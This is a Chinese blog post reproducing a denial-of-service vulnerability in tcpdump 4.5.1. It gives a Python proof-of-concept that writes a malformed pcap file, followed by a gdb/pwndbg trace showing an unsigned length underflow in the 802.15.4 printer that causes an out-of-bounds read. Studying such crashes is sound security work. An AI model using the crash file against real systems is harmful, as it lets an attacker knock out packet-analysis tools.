Tcpdump4.5.1拒绝服务漏洞

April 16, 2020 CVE复现 访问: 82 次

这个漏洞是tcpdump的漏洞,而tcpdump是关于网络流量的一个软件,所以需要先学习一下网络数据包的结构

pcap文件格式

这里面讲的已经很清楚了,我就不再搬了。

测试环境

i386/ubuntu           16.04               b1aa297bcabc        7 weeks ago         120MB

gdb-pwndbg

编译安装:
apt-get install libpcap-dev
dpkg -l libpcap-dev
wget https://www.exploit-db.com/apps/973a2513d0076e34aa9da7e15ed98e1b-tcpdump-4.5.1.tar.gz
tar -zxvf 973a2513d0076e34aa9da7e15ed98e1b-tcpdump-4.5.1.tar.gz
cd tcpdump-4.5.1/
./configure
make

poc

利用这个脚本生成一个恶意的pcap包

from subprocess import call
from shlex import split
from time import sleep
def crash():
    command = 'tcpdump -r crash'
    buffer     =   '\xd4\xc3\xb2\xa1\x02\x00\x04\x00\x00\x00\x00\xf5\xff'
    buffer     +=  '\x00\x00\x00I\x00\x00\x00\xe6\x00\x00\x00\x00\x80\x00'
    buffer     +=  '\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00<\x9c7@\xff\x00'
    buffer     +=  '\x06\xa0r\x7f\x00\x00\x01\x7f\x00\x00\xec\x00\x01\xe0\x1a'
    buffer     +=  "\x00\x17g+++++++\x85\xc9\x03\x00\x00\x00\x10\xa0&\x80\x18\'"
    buffer     +=  "xfe$\x00\x01\x00\x00@\x0c\x04\x02\x08\n', '\x00\x00\x00\x00"
    buffer     +=  '\x00\x00\x00\x00\x01\x03\x03\x04'
    with open('crash', 'w+b') as file:
        file.write(buffer)
    try:
        call(split(command))
        print("Exploit successful!             ")
    except:
        print("Error: Something has gone wrong!")
def main():
    print("Author:   David Silveiro                           ")
    print("   tcpdump version 4.5.1 Access Violation Crash    ")
    sleep(2)
    crash()
if __name__ == "__main__":
    main()

调试

尝试运行tcpdump -r crash,发现会出现Segmentation fault (core dumped)

用gdb来查看具体报错的地方,gdb tcpdump

────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]─────────────────────────────────────────────────────────────────────────────────────────
 EAX  0x5
 EBX  0x89543a5 ◂— 0x0
 ECX  0x2e
 EDX  0x0
 EDI  0xffaa1e3f ◂— 0x30303000
 ESI  0xffaa1e59 ◂— '......'
 EBP  0xfe2d
 ESP  0xffaa1dfc —▸ 0x8053caa (hex_and_ascii_print_with_offset+170) ◂— mov    ecx, dword ptr [esp + 0xc]
 EIP  0x8053c6a (hex_and_ascii_print_with_offset+106) ◂— movzx  edx, byte ptr [ebx + ebp*2 + 1]
──────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]──────────────────────────────────────────────────────────────────────────────────────────
 ► 0x8053c6a <hex_and_ascii_print_with_offset+106>    movzx  edx, byte ptr [ebx + ebp*2 + 1]
   0x8053c6f <hex_and_ascii_print_with_offset+111>    movzx  ecx, byte ptr [ebx + ebp*2]
   0x8053c73 <hex_and_ascii_print_with_offset+115>    push   edx
   0x8053c74 <hex_and_ascii_print_with_offset+116>    mov    ebx, edx
   0x8053c76 <hex_and_ascii_print_with_offset+118>    mov    dword ptr [esp + 0x18], edx
   0x8053c7a <hex_and_ascii_print_with_offset+122>    mov    byte ptr [esp + 0x13], cl
   0x8053c7e <hex_and_ascii_print_with_offset+126>    push   ecx
   0x8053c7f <hex_and_ascii_print_with_offset+127>    mov    dword ptr [esp + 0x18], ecx
   0x8053c83 <hex_and_ascii_print_with_offset+131>    push   0x80b6c00
   0x8053c88 <hex_and_ascii_print_with_offset+136>    mov    ecx, edi
   0x8053c8a <hex_and_ascii_print_with_offset+138>    push   0x29
──────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]───────────────────────────────────────────────────────────────────────────────────────
In file: /tcpdump-4.5.1/print-ascii.c
   86   nshorts = length / sizeof(u_short);
   87   i = 0;
   88   hsp = hexstuff; asp = asciistuff;
   89   while (--nshorts >= 0) {
   90       s1 = *cp++;
 ► 91       s2 = *cp++;
   92       (void)snprintf(hsp, sizeof(hexstuff) - (hsp - hexstuff),
   93           " %02x%02x", s1, s2);
   94       hsp += HEXDUMP_HEXSTUFF_PER_SHORT;
   95       *(asp++) = (isgraph(s1) ? s1 : '.');
   96       *(asp++) = (isgraph(s2) ? s2 : '.');
──────────────────────────────────────────────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────────────────────────────────────────────
00:0000│ esp  0xffaa1dfc —▸ 0x8053caa (hex_and_ascii_print_with_offset+170) ◂— mov    ecx, dword ptr [esp + 0xc]
01:0004│      0xffaa1e00 —▸ 0xf7f26000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x23f40
02:0008│      0xffaa1e04 ◂— 0x5
03:000c│      0xffaa1e08 ◂— 0x2f5967 /* 'gY/' */
04:0010│      0xffaa1e0c ◂— 0x0
... ↓
06:0018│      0xffaa1e14 ◂— 0x7ffffff9
07:001c│      0xffaa1e18 —▸ 0x89543a5 ◂— 0x0
────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────────────────────────────────────────────────
 ► f 0  8053c6a hex_and_ascii_print_with_offset+106
   f 1  8053e26 hex_and_ascii_print+22
   f 2  8051e7d ieee802_15_4_if_print+445
   f 3  80a0aea print_packet+74
   f 4 f7ece468
   f 5 f7ebf0e3 pcap_loop+51
   f 6  804b3dd main+3869
   f 7 f7d14637 __libc_start_main+247
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
Program received signal SIGSEGV (fault address 0x8974000)
pwndbg> 

程序停在了<hex_and_ascii_print_with_offset+106>,在源码中找到这个函数

void
hex_and_ascii_print_with_offset(register const char *ident,
    register const u_char *cp, register u_int length, register u_int oset)
{
    register u_int i;
    register int s1, s2;
    register int nshorts;
    char hexstuff[HEXDUMP_SHORTS_PER_LINE*HEXDUMP_HEXSTUFF_PER_SHORT+1], *hsp;
    char asciistuff[ASCII_LINELENGTH+1], *asp;

    nshorts = length / sizeof(u_short);
    i = 0;
    hsp = hexstuff; asp = asciistuff;
    while (--nshorts >= 0) {
        s1 = *cp++;
        s2 = *cp++;
        (void)snprintf(hsp, sizeof(hexstuff) - (hsp - hexstuff),
            " %02x%02x", s1, s2);
        hsp += HEXDUMP_HEXSTUFF_PER_SHORT;
        *(asp++) = (isgraph(s1) ? s1 : '.');
        *(asp++) = (isgraph(s2) ? s2 : '.');
        i++;
        if (i >= HEXDUMP_SHORTS_PER_LINE) {
            *hsp = *asp = '\0';
            (void)printf("%s0x%04x: %-*s  %s",ident, oset, HEXDUMP_HEXSTUFF_PER_LINE,hexstuff, asciistuff);
            i = 0; hsp = hexstuff; asp = asciistuff;
            oset += HEXDUMP_BYTES_PER_LINE;
        }
    }
    if (length & 1) {
        s1 = *cp++;
        (void)snprintf(hsp, sizeof(hexstuff) - (hsp - hexstuff),
            " %02x", s1);
        hsp += 3;
        *(asp++) = (isgraph(s1) ? s1 : '.');
        ++i;
    }
    if (i > 0) {
        *hsp = *asp = '\0';
        (void)printf("%s0x%04x: %-*s  %s",
             ident, oset, HEXDUMP_HEXSTUFF_PER_LINE,
             hexstuff, asciistuff);
    }
}

既然错误发生在while循环内,那么指针*cp++肯定是执行次数太多而导致访问到无效数据了,进而报错。

while循环的次数由nshorts决定,nshorts是由参数length决定

经过调试发现,参数length传进来的值是0xfffffff3

回溯查看函数调用

pwndbg> bt
#0  hex_and_ascii_print_with_offset (ident=0x80c04af "\n\t", cp=0x8a83000 <error: Cannot access memory at address 0x8a83000>, length=4294967283, oset=130128) at ./print-ascii.c:91
#1  0x08053e26 in hex_and_ascii_print (ident=0x80c04af "\n\t", cp=0x8a633a5 "", length=4294967283) at ./print-ascii.c:127
#2  0x08051e7d in ieee802_15_4_if_print (ndo=0x81e1320 <Gndo>, h=0xff8c088c, p=<optimized out>) at ./print-802_15_4.c:180
#3  0x080a0aea in print_packet (user=0xff8c095c " \023\036\b\300\034\005\b\001", h=0xff8c088c, sp=0x8a63390 "@\377") at ./tcpdump.c:1950
#4  0xf7ee7468 in ?? () from /usr/lib/i386-linux-gnu/libpcap.so.0.8
#5  0xf7ed80e3 in pcap_loop () from /usr/lib/i386-linux-gnu/libpcap.so.0.8
#6  0x0804b3dd in main (argc=3, argv=0xff8c1b44) at ./tcpdump.c:1569
#7  0xf7d2d637 in __libc_start_main (main=0x804a4c0 <main>, argc=3, argv=0xff8c1b44, init=0x80b1230 <__libc_csu_init>, fini=0x80b1290 <__libc_csu_fini>, rtld_fini=0xf7f2a880 <_dl_fini>, stack_end=0xff8c1b3c) at ../csu/libc-start.c:291
#8  0x0804c245 in _start ()
pwndbg> 

hex_and_ascii_print这个函数其实是直接调用了hex_and_ascii_print_with_offset,其他也没什么

void
hex_and_ascii_print(register const char *ident, register const u_char *cp,
    register u_int length)
{
    hex_and_ascii_print_with_offset(ident, cp, length, 0);
}

ieee802_15_4_if_print函数里面没有显示的发现调用hex_and_ascii_print

u_int
ieee802_15_4_if_print(struct netdissect_options *ndo,
                      const struct pcap_pkthdr *h, const u_char *p)
{
    u_int caplen = h->caplen;
    int hdrlen;
    u_int16_t fc;
    u_int8_t seq;

    if (caplen < 3) {
        ND_PRINT((ndo, "[|802.15.4] %x", caplen));
        return caplen;
    }

    fc = EXTRACT_LE_16BITS(p);
    hdrlen = extract_header_length(fc);

    seq = EXTRACT_LE_8BITS(p + 2);

    p += 3;
    caplen -= 3;

    ND_PRINT((ndo,"IEEE 802.15.4 %s packet ", ftypes[fc & 0x7]));
    if (vflag)
        ND_PRINT((ndo,"seq %02x ", seq));
    if (hdrlen == -1) {
        ND_PRINT((ndo,"malformed! "));
        return caplen;
    }


    if (!vflag) {
        p+= hdrlen;
        caplen -= hdrlen;
    } else {
        u_int16_t panid = 0;

        switch ((fc >> 10) & 0x3) {
        case 0x00:
            ND_PRINT((ndo,"none "));
            break;
        case 0x01:
            ND_PRINT((ndo,"reserved destination addressing mode"));
            return 0;
        case 0x02:
            panid = EXTRACT_LE_16BITS(p);
            p += 2;
            ND_PRINT((ndo,"%04x:%04x ", panid, EXTRACT_LE_16BITS(p)));
            p += 2;
            break;
        case 0x03:
            panid = EXTRACT_LE_16BITS(p);
            p += 2;
            ND_PRINT((ndo,"%04x:%s ", panid, le64addr_string(p)));
            p += 8;
            break;
        }
        ND_PRINT((ndo,"< ");

        switch ((fc >> 14) & 0x3) {
        case 0x00:
            ND_PRINT((ndo,"none "));
            break;
        case 0x01:
            ND_PRINT((ndo,"reserved source addressing mode"));
            return 0;
        case 0x02:
            if (!(fc & (1 << 6))) {
                panid = EXTRACT_LE_16BITS(p);
                p += 2;
            }
            ND_PRINT((ndo,"%04x:%04x ", panid, EXTRACT_LE_16BITS(p)));
            p += 2;
            break;
        case 0x03:
            if (!(fc & (1 << 6))) {
                panid = EXTRACT_LE_16BITS(p);
                p += 2;
            }
                        ND_PRINT((ndo,"%04x:%s ", panid, le64addr_string(p))));
            p += 8;
            break;
        }

        caplen -= hdrlen;
    }

    if (!suppress_default_print)
        (ndo->ndo_default_print)(ndo, p, caplen);

    return 0;
}

经过调试发现,在(ndo->ndo_default_print)(ndo, p, caplen);其实就是调用了上一个函数,我感觉ndo_default_print像是hex_and_ascii_print的plt表项

pwndbg> p ndo
$9 = (struct netdissect_options *) 0x81e1320 <Gndo>
pwndbg> p *$9
$10 = {
  ndo_aflag = 0, 
  ndo_bflag = 0, 
  ndo_eflag = 0, 
  ndo_fflag = 0, 
  ndo_Kflag = 0, 
  ndo_nflag = 0, 
  ndo_Nflag = 0, 
  ndo_qflag = 0, 
  ndo_Rflag = 1, 
  ndo_sflag = 0, 
  ndo_Sflag = 0, 
  ndo_tflag = 0, 
  ndo_Uflag = 0, 
  ndo_uflag = 0, 
  ndo_vflag = 0, 
  ndo_xflag = 0, 
  ndo_Xflag = 0, 
  ndo_Aflag = 0, 
  ndo_Bflag = 0, 
  ndo_Iflag = 0, 
  ndo_Oflag = 1, 
  ndo_dlt = -1, 
  ndo_jflag = -1, 
  ndo_pflag = 0, 
  ndo_Cflag = 0, 
  ndo_Cflag_count = 0, 
  ndo_Gflag = 0, 
  ndo_Gflag_count = 0, 
  ndo_Gflag_time = 0, 
  ndo_Wflag = 0, 
  ndo_WflagChars = 0, 
  ndo_Hflag = 0, 
  ndo_suppress_default_print = 0, 
  ndo_dltname = 0x0, 
  ndo_espsecret = 0x0, 
  ndo_sa_list_head = 0x0, 
  ndo_sa_default = 0x0, 
  ndo_sigsecret = 0x0, 
  ndo_espsecret_xform = 0x0, 
  ndo_espsecret_key = 0x0, 
  ndo_packettype = 0, 
  ndo_program_name = 0x0, 
  ndo_thiszone = 0, 
  ndo_snaplen = 65535, 
  ndo_packetp = 0x0, 
  ndo_snapend = 0x82af398 "", 
  ndo_infodelay = 0, 
  ndo_default_print = 0x80a0400 <ndo_default_print>, 
  ndo_info = 0x0, 
  ndo_printf = 0x80a0440 <tcpdump_printf>, 
  ndo_error = 0x80a06a0 <ndo_error>, 
  ndo_warning = 0x80a0630 <ndo_warning>
}
pwndbg> p &hex_and_ascii_print             
$11 = (void (*)(const char *, const u_char *, u_int)) 0x8053e10 <hex_and_ascii_print>
pwndbg> x/10i 0x80a0400
   0x80a0400 <ndo_default_print>:   mov    DWORD PTR [esp+0x4],0x80c04af
   0x80a0408 <ndo_default_print+8>: jmp    0x8053e10 <hex_and_ascii_print>
   0x80a040d:   lea    esi,[esi+0x0]

第三个参数caplen经过调试发现参与运算的只有caplen -= 3;caplen -= hdrlen;

caplen = h->caplen;此时的caplen的值是8,而hdrlen = extract_header_length(fc);是0x12,那么运算出来的值就是-13caplen是一个无符号整形的数据,没有检查直接传入到了下一个参数,导致数组越界

我一直纠结在hdrlen是一个?,为什么要减去它?没有弄得太明白

参考

TCPDUMP 4.5.2拒绝服务漏洞
TCPDUMP拒绝服务攻击漏洞
tcpdump 4.5.1 crash 深入分析
tcpdump 4.5.1 crash 漏洞

添加新评论